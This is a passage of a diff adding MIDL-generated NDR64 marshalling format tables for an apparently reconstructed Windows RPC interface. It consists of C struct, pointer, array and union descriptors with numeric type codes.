[in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag929_t __midl_frag929 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *Struct_916_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag925 + } +}; + +static const __midl_frag928_t __midl_frag928 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */ + } +}; + +static const __midl_frag927_t __midl_frag927 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag928 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag926_t __midl_frag926 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + } +}; + +static const __midl_frag925_t __midl_frag925 = +{ +/* *Struct_916_t */ + { + /* *Struct_916_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_916_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag926 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag927 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag153 + } +}; + +static const __midl_frag922_t __midl_frag922 = +{ +/* Struct_2408_t */ + { + /* Struct_2408_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2408_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag929, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag921_t __midl_frag921 = +{ +/* *Struct_2408_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag922 +}; + +static const __midl_frag920_t __midl_frag920 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag917_t __midl_frag917 = +{ +/* Struct_2356_t */ + { + /* Struct_2356_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2356_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + &__midl_frag920, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag916_t __midl_frag916 = +{ +/* *Struct_2356_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag917 +}; + +static const __midl_frag912_t __midl_frag912 = +{ +/* Struct_2314_t */ + { + /* Struct_2314_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2314_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 80 /* 0x50 */, + 0, + 0, + &__midl_frag920, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag911_t __midl_frag911 = +{ +/* *Struct_2314_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag912 +}; + +static const __midl_frag910_t __midl_frag910 = +{ +/* Struct_2300_t */ + { + /* Struct_2300_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2300_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag909_t __midl_frag909 = +{ +/* *Struct_2300_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag910 +}; + +static const __midl_frag906_t __midl_frag906 = +{ +/* Struct_2270_t */ + { + /* Struct_2270_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2270_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag905_t __midl_frag905 = +{ +/* *Struct_2270_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag906 +}; + +static const __midl_frag904_t __midl_frag904 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag903_t __midl_frag903 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag898_t __midl_frag898 = +{ +/* Struct_2208_t */ + { + /* Struct_2208_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2208_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 160 /* 0xa0 */, + 0, + 0, + &__midl_frag903, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag904 + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag897_t __midl_frag897 = +{ +/* *Struct_2208_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag898 +}; + +static const __midl_frag896_t __midl_frag896 = +{ +/* Struct_2194_t */ + { + /* Struct_2194_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2194_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag895_t __midl_frag895 = +{ +/* *Struct_2194_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag896 +}; + +static const __midl_frag894_t __midl_frag894 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag893_t __midl_frag893 = +{ +/* union_2142 */ + { + /* union_2142 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag894, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 7 /* 0x7 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag895, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag897, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag905, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag909, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag911, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag916, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag921, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag892_t __midl_frag892 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag886 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag889 + } +}; + +static const __midl_frag890_t __midl_frag890 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ + } +}; + +static const __midl_frag889_t __midl_frag889 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 1 /* 0x1 */, + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag890 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag2219 + } +}; + +static const __midl_frag887_t __midl_frag887 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag886_t __midl_frag886 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 1 /* 0x1 */, + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag887 + }, + { + /* 